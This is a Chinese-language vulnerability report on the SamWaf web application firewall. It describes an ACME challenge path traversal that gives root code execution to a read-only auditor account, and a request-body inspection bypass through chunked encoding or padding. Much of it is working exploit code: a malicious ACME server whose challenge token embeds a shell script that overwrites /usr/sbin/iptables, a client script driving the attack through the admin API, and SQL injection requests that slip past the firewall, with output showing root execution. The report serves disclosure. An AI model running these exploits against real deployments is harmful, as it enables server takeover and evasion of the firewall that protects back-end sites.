SamWaf 漏洞报告
软件名称:SamWaf
开发者或厂商:samwafgo
代码仓库:https://github.com/samwafgo/SamWaf
1. ACME challenge 文件路径穿越导致 RCE
| 简要描述: | 持有低权账号的攻击者可以把 CA 地址指向自己的 ACME 服务,借助挑战 token 中的 ../ 把文件写到服务器上的指定路径,再借防火墙功能实现 RCE。 |
|---|---|
| 影响版本: | v1.3.16-beta.13 ~ v1.3.25-beta.11 |
| 漏洞引入: | SamWaf commit 805265a4 |
| 前置条件: | 攻击者持有已登录账号,只读审计员即可;SamWaf 能访问攻击者控制的 HTTPS ACME 目录。 |
漏洞成因
CA 服务器地址、证书订单与防火墙封禁三组接口都在只做登录校验的路由组:
// wafmangeweb/localserver.go:172,188,192 commit ecea1ddff7
router.ApiGroupApp.InitSslOrderRouter(RouterGroup)
...
router.ApiGroupApp.InitWafCaServerInfoRouter(RouterGroup)
...
router.ApiGroupApp.InitFirewallIPBlockRouter(RouterGroup)
caserverinfo/add 把 CA 地址原样入库:
// service/waf_service/waf_caserverinfo_service.go:19-36 commit ecea1ddff7
func (receiver *WafCaServerInfoService) AddApi(req request.WafCaServerInfoAddReq) error {
var bean = &model.CaServerInfo{
...
CaServerName: req.CaServerName,
CaServerAddress: req.CaServerAddress,
Remarks: req.Remarks,
}
global.GWAF_LOCAL_DB.Create(bean)
return nil
}
证书订单把这个地址交给 lego:
// utils/ssl/ssl.go:80 commit ecea1ddff7
config.CADirURL = caServerAddress
// utils/ssl/ssl.go:97-103 commit ecea1ddff7
switch order.ApplyMethod {
case "http01":
provider, err := newLoggingWebrootProvider(savePath, order.HostCode)
if err != nil {
return order, err
}
if err = client.Challenge.SetHTTP01Provider(provider); err != nil {
webroot 的根目录由站点编号拼成:
// wafenginecore/sslorder.go:47 commit ecea1ddff7
filePath := utils.GetCurrentDir() + "/data/vhost/" + bean.HostCode
lego 的 webroot provider 把 ACME 服务器返回的 token 直接拼进文件路径:
// providers/http/webroot/webroot.go:35-44 lego v4.30.1
func (w *HTTPProvider) Present(domain, token, keyAuth string) error {
var err error
challengeFilePath := filepath.Join(w.path, http01.ChallengePath(token))
err = os.MkdirAll(filepath.Dir(challengeFilePath), 0o755)
if err != nil {
return fmt.Errorf("could not create required directories in webroot for HTTP challenge: %w", err)
}
err = os.WriteFile(challengeFilePath, []byte(keyAuth), 0o644)
// challenge/http01/http_challenge.go:26-28 lego v4.30.1
func ChallengePath(token string) string {
return "/.well-known/acme-challenge/" + token
}
token 由 ACME 服务器提供,filepath.Join 会对 ../ 做归一化,因此含 ../ 的 token 可以把 challengeFilePath 指到 webroot 之外。写入内容是 keyAuth,其前两行可以是可执行的 shell 脚本,脚本最后一行是带 ../ 的路径,用 exit 0 阻止执行。
写入完成后,防火墙封禁接口以服务器身份执行 iptables:
// firewall/firewall.go:47-49 commit ecea1ddff7
func (fw *FireWallEngine) IsFirewallEnabled() bool {
if runtime.GOOS == "linux" {
out, err := wafexec.FixStdin(exec.Command("iptables", "-L")).CombinedOutput()
exec.Command 按 PATH 查找 iptables,若攻击者把脚本写到 /usr/sbin/iptables,防火墙调用时就会执行该脚本。os.WriteFile 只覆盖文件内容,权限位保持不变,因此覆盖 /usr/sbin/iptables 指向的可执行文件后,脚本仍可执行。
复现环境搭建
靶标用容器运行。compose 文件内容如下:
services:
samwaf:
build: .
container_name: samwaf-vuln-app
ports:
- "18017:26666"
- "18018:80"
volumes:
- ./conf:/app/conf
- ./data:/app/data
- ./logs:/app/logs
- ./ssl:/app/ssl
cap_add:
- NET_ADMIN
networks:
- samwafnet
upstream:
image: nginx:alpine
container_name: samwaf-vuln-upstream
volumes:
- ./upstream:/usr/share/nginx/html:ro
networks:
- samwafnet
networks:
samwafnet:
Dockerfile 内容如下:
FROM debian:bookworm-slim
RUN apt-get update && apt-get install -y --no-install-recommends ca-certificates tzdata iptables curl && rm -rf /var/lib/apt/lists/*
WORKDIR /app
COPY SamWaf /app/SamWaf
RUN chmod +x /app/SamWaf
EXPOSE 26666 80 443
CMD ["/app/SamWaf"]
编译并启动:
git clone https://github.com/samwafgo/SamWaf.git
mkdir -p samwaf-env/upstream
cd SamWaf
git checkout ecea1dd
CGO_ENABLED=1 go build -o ../samwaf-env/SamWaf ./cmd/samwaf
echo '<h1>hello upstream</h1>' > ../samwaf-env/upstream/index.html
cd ../samwaf-env
# 把上文的 docker-compose.yaml 与 Dockerfile 保存到当前目录
docker compose -p samwaf-vuln up -d --build
启动后 data/initial_password.txt 中是初始管理员口令,登录并把口令改为 Admin@12345!。新建站点 test.local,端口填 80,回源地址填 http://samwaf-vuln-upstream,回源端口 80:

在账号管理中新建 auditor,口令设为 Auditor@123456!,角色选审计管理员,首次登录后把口令改为 Auditor@654321!:

攻击者的 ACME 服务使用 HTTPS。本地复现时用自建 CA 签发服务端证书,并把它加入容器的信任库,用来模拟攻击者持有的公网受信证书:
openssl req -x509 -newkey rsa:2048 -nodes -keyout ca.key -out ca.crt -days 365 -subj "/CN=SamWaf Test CA"
openssl req -newkey rsa:2048 -nodes -keyout srv.key -out srv.csr -subj "/CN=192.0.2.10"
printf 'subjectAltName=IP:192.0.2.10\n' > san.cnf
openssl x509 -req -in srv.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out srv.crt -days 365 -extfile san.cnf
docker cp ca.crt samwaf-vuln-app:/usr/local/share/ca-certificates/samwaf-test-ca.crt
docker exec samwaf-vuln-app update-ca-certificates
下文以 192.0.2.10 表示攻击者服务器的地址,复现时替换为实际地址。
复现过程
ACME 服务需要实现目录、nonce、账号、订单、授权与挑战六个端点,挑战响应中的 token 就是待写入的脚本:
import secrets
import time
from fastapi import FastAPI, Request
from fastapi.responses import JSONResponse, Response
BASE = "https://192.0.2.10:8900"
TOKEN = "#!/bin/sh\nid > /tmp/pwned; exit 0\n/" + "../" * 20 + "usr/sbin/iptables"
app = FastAPI()
def nonce():
return secrets.token_urlsafe(16)
def reply(data, status=200, location=None):
headers = {"Replay-Nonce": nonce()}
if location:
headers["Location"] = BASE + location
return JSONResponse(data, status_code=status, headers=headers)
@app.get("/directory")
def directory():
return {
"newNonce": BASE + "/new-nonce",
"newAccount": BASE + "/new-account",
"newOrder": BASE + "/new-order",
"revokeCert": BASE + "/revoke",
"keyChange": BASE + "/key-change",
}
@app.head("/new-nonce")
@app.get("/new-nonce")
def new_nonce():
return Response(status_code=200, headers={"Replay-Nonce": nonce()})
@app.post("/new-account")
async def new_account(request: Request):
await request.body()
return reply({"status": "valid", "contact": []}, 201, "/acct/1")
@app.post("/acct/1")
async def account(request: Request):
await request.body()
return reply({"status": "valid", "contact": []})
@app.post("/new-order")
async def new_order(request: Request):
await request.body()
return reply({
"status": "pending",
"expires": "2030-01-01T00:00:00Z",
"identifiers": [{"type": "dns", "value": "test.local"}],
"authorizations": [BASE + "/authz/1"],
"finalize": BASE + "/finalize/1",
}, 201, "/order/1")
@app.post("/order/1")
async def order(request: Request):
await request.body()
return reply({
"status": "pending",
"expires": "2030-01-01T00:00:00Z",
"identifiers": [{"type": "dns", "value": "test.local"}],
"authorizations": [BASE + "/authz/1"],
"finalize": BASE + "/finalize/1",
})
@app.post("/authz/1")
async def authz(request: Request):
await request.body()
return reply({
"status": "pending",
"expires": "2030-01-01T00:00:00Z",
"identifier": {"type": "dns", "value": "test.local"},
"challenges": [{
"type": "http-01",
"url": BASE + "/chall/1",
"token": TOKEN,
"status": "pending",
}],
})
@app.post("/chall/1")
async def challenge(request: Request):
await request.body()
time.sleep(40)
return reply({"type": "http-01", "url": BASE + "/chall/1", "token": TOKEN, "status": "processing"})
@app.post("/finalize/1")
async def finalize(request: Request):
await request.body()
return reply({"status": "invalid", "error": {
"type": "urn:ietf:params:acme:error:serverInternal",
"detail": "no",
}})
启动服务:
uvicorn acme_server:app --host 0.0.0.0 --port 8900 \
--ssl-certfile srv.crt --ssl-keyfile srv.key
用 auditor 登录,添加 CA 服务器与证书订单,然后把封禁接口持续调用到挑战窗口结束:
import base64
import json
import time
import uuid
import httpx
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
BASE = "http://127.0.0.1:18017"
CA = "https://192.0.2.10:8900/directory"
KEY = b"7E@u*has$d*@s5YX"
def decrypt(value):
raw = base64.b64decode(value)
return unpad(AES.new(KEY, AES.MODE_CBC, raw[:16]).decrypt(raw[16:]), 16)
def api(method, path, token=None, body=None):
headers = {
"X-Request-Time": str(int(time.time())),
"X-Request-Id": uuid.uuid4().hex,
}
if token:
headers["X-Token"] = token
response = httpx.request(method, BASE + path, headers=headers, json=body, timeout=30)
data = response.json()
if isinstance(data.get("data"), str):
data["data"] = json.loads(decrypt(data["data"]))
return data
token = api("POST", "/api/v1/public/login", body={
"login_account": "auditor",
"login_password": "Auditor@654321!",
})["data"]["access_token"]
hosts = api("POST", "/api/v1/wafhost/host/list", token, {"pageIndex": 1, "pageSize": 20})["data"]["list"]
code = next(host["code"] for host in hosts if host["host"] == "test.local")
print(api("POST", "/api/v1/wafhost/caserverinfo/add", token, {
"ca_server_name": "evilca",
"ca_server_address": CA,
"remarks": "demo",
})["msg"])
print(api("POST", "/api/v1/wafhost/sslorder/add", token, {
"host_code": code,
"apply_platform": "evilca",
"apply_method": "http01",
"skip_dns_verify": 0,
"apply_dns": "",
"apply_email": "a@b.com",
"apply_domain": "test.local",
"private_group_name": "",
})["msg"])
time.sleep(2)
for _ in range(200):
api("POST", "/api/v1/firewall/ipblock/add", token, {
"ip": "203.0.113.98",
"reason": "demo",
"block_type": "manual",
})
time.sleep(0.25)
输出如下:
添加成功
添加成功
管理端中可以看到这条订单:

应用日志记录了挑战文件的落盘路径:
2026-11-16 02:06:17.081 INFO ACME证书: 文件校验-挑战文件已生成 域名=test.local 路径=/usr/sbin/iptables 可回读=是 实际大小=156 期望大小=156 CA将访问=http://test.local/.well-known/acme-challenge/#!/bin/sh
/../../../../../../../../../../../../../../../../../../../../usr/sbin/iptables
防火墙执行了被写入的文件:
[DEBUG] 执行命令: iptables -I INPUT 1 -s 203.0.113.98 -j DROP
[INFO] 成功封禁IP: 203.0.113.98
查看执行结果:
$ docker exec samwaf-vuln-app cat /tmp/pwned
uid=0(root) gid=0(root) groups=0(root)
2. 逻辑漏洞导致 waf 绕过
| 简要描述: | 攻击者在请求中加入 Transfer-Encoding: chunked,或把请求体填充到 2048 字节以上,即可让 SamWaf 跳过对请求体的检测。 |
|---|---|
| 影响版本: | v1.0.128 ~ v1.3.25-beta.11 |
| 漏洞引入: | SamWaf commit 7be63fc1 |
| 前置条件: | 无。 |
漏洞成因
请求体的读取被两个长度条件限制:
// wafenginecore/wafengine.go:271-291 commit ecea1ddff7
contentLength := sanitizeContentLength(r.ContentLength)
var bodyByte []byte
// 拷贝一份request的Body ,控制不记录大文件的情况
if r.Body != nil && r.Body != http.NoBody && (contentLength > 0) && (contentLength < (global.GCONFIG_RECORD_MAX_BODY_LENGTH) || cacheConfig.IsEnableCache == 1) {
...
} else {
bodyByte, _ = io.ReadAll(r.Body)
r.Body = io.NopCloser(bytes.NewBuffer(bodyByte))
}
}
GCONFIG_RECORD_MAX_BODY_LENGTH 的默认值是 2048:
// global/config.go:6 commit ecea1ddff7
GCONFIG_RECORD_MAX_BODY_LENGTH int64 = 1024 * 2 //限制记录最大请求的body长度 record_max_req_body_length
分块传输时 Go 把 r.ContentLength 置为 -1,sanitizeContentLength 把它归一成 0:
// wafenginecore/wafengine.go:1429-1435 commit ecea1ddff7
func sanitizeContentLength(n int64) int64 {
if n < 0 {
return 0
}
return n
}
contentLength > 0 因此不成立,io.ReadAll 不会执行,BODY 被置为空串:
// wafenginecore/wafengine.go:324 commit ecea1ddff7
BODY: string(bodyByte),
请求体没有被读取,因此没有被消费,反向代理会把原始内容完整转发给后端。SQL 注入、RCE、目录穿越、上传等检查都以 BODY 为输入,例如:
// wafenginecore/checkrce.go:24-25 commit ecea1ddff7
isRce, RceName := wafdefenserce.DetermineRCE(weblogbean.RawQuery, weblogbean.URL,
weblogbean.COOKIES, weblogbean.BODY)
请求体达到 2048 字节时,contentLength < GCONFIG_RECORD_MAX_BODY_LENGTH 不成立,读取同样被跳过,而不是只截断前 2048 字节。
复现环境搭建
环境与第 1 节相同,重新启动一份干净的实例:
docker compose -p samwaf-vuln down -v
rm -rf data conf logs ssl
mkdir -p data conf logs ssl
docker compose -p samwaf-vuln up -d --build
登录管理端,把初始口令改为 Admin@12345!,新建站点 test.local,端口 80,回源到 http://samwaf-vuln-upstream,并启动该站点。
复现过程
先发送一段带 Content-Length 的 SQL 注入请求,作为对照:
import http.client
payload = b"id=1' UNION SELECT username,password FROM users-- -"
connection = http.client.HTTPConnection("127.0.0.1", 18018, timeout=10)
connection.putrequest("POST", "/login", skip_host=True)
connection.putheader("Host", "test.local")
connection.putheader("Content-Type", "application/x-www-form-urlencoded")
connection.putheader("Content-Length", str(len(payload)))
connection.endheaders()
connection.send(payload)
response = connection.getresponse()
print(response.status)
print(response.read(70))
403
b'<!DOCTYPE html>\n <html lang="zh-CN">\n <head>\n <meta charset="UTF-8'
把 payload 改用分块传输:
import http.client
payload = b"id=1' UNION SELECT username,password FROM users-- -"
connection = http.client.HTTPConnection("127.0.0.1", 18018, timeout=10)
connection.putrequest("POST", "/login", skip_host=True)
connection.putheader("Host", "test.local")
connection.putheader("Content-Type", "application/x-www-form-urlencoded")
connection.putheader("Transfer-Encoding", "chunked")
connection.endheaders()
connection.send(("%x\r\n" % len(payload)).encode() + payload + b"\r\n0\r\n\r\n")
response = connection.getresponse()
print(response.status)
print(response.read(70))
404
b'<html>\r\n<head><title>404 Not Found</title></head>\r\n<body>\r\n<center><h1'
403 是 SamWaf 的拦截页,404 来自后端 nginx,说明请求被放行。把 padding 放进请求体,让长度超过 2048 字节,可以得到相同的结果:
import http.client
payload = b"id=1' UNION SELECT username,password FROM users-- -"
body = b"pad=" + b"A" * 2100 + b"&" + payload
connection = http.client.HTTPConnection("127.0.0.1", 18018, timeout=10)
connection.putrequest("POST", "/login", skip_host=True)
connection.putheader("Host", "test.local")
connection.putheader("Content-Type", "application/x-www-form-urlencoded")
connection.putheader("Content-Length", str(len(body)))
connection.endheaders()
connection.send(body)
response = connection.getresponse()
print(len(body), response.status)
2156 404